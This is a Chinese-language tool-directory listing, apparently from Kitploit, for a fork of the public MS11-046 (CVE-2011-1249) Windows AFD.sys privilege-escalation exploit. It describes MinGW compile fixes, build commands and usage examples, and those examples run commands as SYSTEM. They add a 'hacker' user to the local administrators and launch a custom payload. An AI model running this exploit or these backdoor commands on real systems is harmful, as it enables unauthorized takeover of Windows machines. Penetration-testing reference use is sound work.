Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
edb-40564-mingw-fix — CVE-2011-1249 (MS11-046) AFD 权限提升 — MinGW 交叉编译修复 + 自定义命令支持 | Kitploit
工具/GitHubGitHub/appl3b0y/edb-40564-mingw-fix
权限提升Payload生成漏洞分析漏洞利用渗透测试二进制利用
GitHubappl3b0y/edb-40564-mingw-fix

edb-40564-mingw-fix

CVE-2011-1249 (MS11-046) AFD 权限提升 — MinGW 交叉编译修复 + 自定义命令支持

查看仓库
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ms11-046-mingw

CVE-2011-1249 / MS11-046 — 针对 Windows x86 的 AFD.sys 权限提升漏洞。

原始利用代码由 Tomislav Paskalev 提供(EDB-40564)。此分支修复了 MinGW 交叉编译错误,并通过 argv[1] 添加了自定义命令执行功能。


与原始版本的变更

#变更原因
1FARPROC ZwQuerySystemInformation → 带类型的函数指针(pZwQuerySystemInformation)MinGW 严格类型检查拒绝调用带参数的零参数 FARPROC,编译会失败并报错 too many arguments to function
2securityPatches[] 数组标记为 static在 if/else 块内声明的数组在栈上分配,作用域结束后指针会悬空;没有 static 则指针变为野指针
3通过 argv[1] 自定义命令以 SYSTEM 身份运行任意命令,替代硬编码的 cmd.exe

问题

使用 MinGW 编译原始代码会失败:

root@kitploit:~
ms11-046.c: error: too many arguments to function 'ZwQuerySystemInformation'; expected 0, have 4

FARPROC 是一个泛型函数指针,声明时参数为零。MinGW 强制执行严格类型检查,不允许带参数调用。解决方案是使用具有正确签名的带类型函数指针。

预编译的二进制文件存在(例如 SecWiki/windows-kernel-exploits),但不支持自定义命令。


在 Linux 下交叉编译(MinGW)

root@kitploit:~
sudo apt install mingw-w64
i686-w64-mingw32-gcc ms11-046.c -o ms11-046.exe -lws2_32

用法

root@kitploit:~
ms11-046.exe                                             # 默认:以 SYSTEM 身份启动 cmd.exe
ms11-046.exe "net user hacker Pass123! /add"             # 以 SYSTEM 身份添加用户
ms11-046.exe "net localgroup administrators hacker /add" # 将用户加入本地管理员组
ms11-046.exe "c:\windows\temp\shell.exe"                 # 以 SYSTEM 身份运行自定义有效载荷

参考

  • MS11-046 — Microsoft 安全公告
  • CVE-2011-1249 — 国家漏洞数据库
  • EDB-40564 — 原始利用代码
下载工具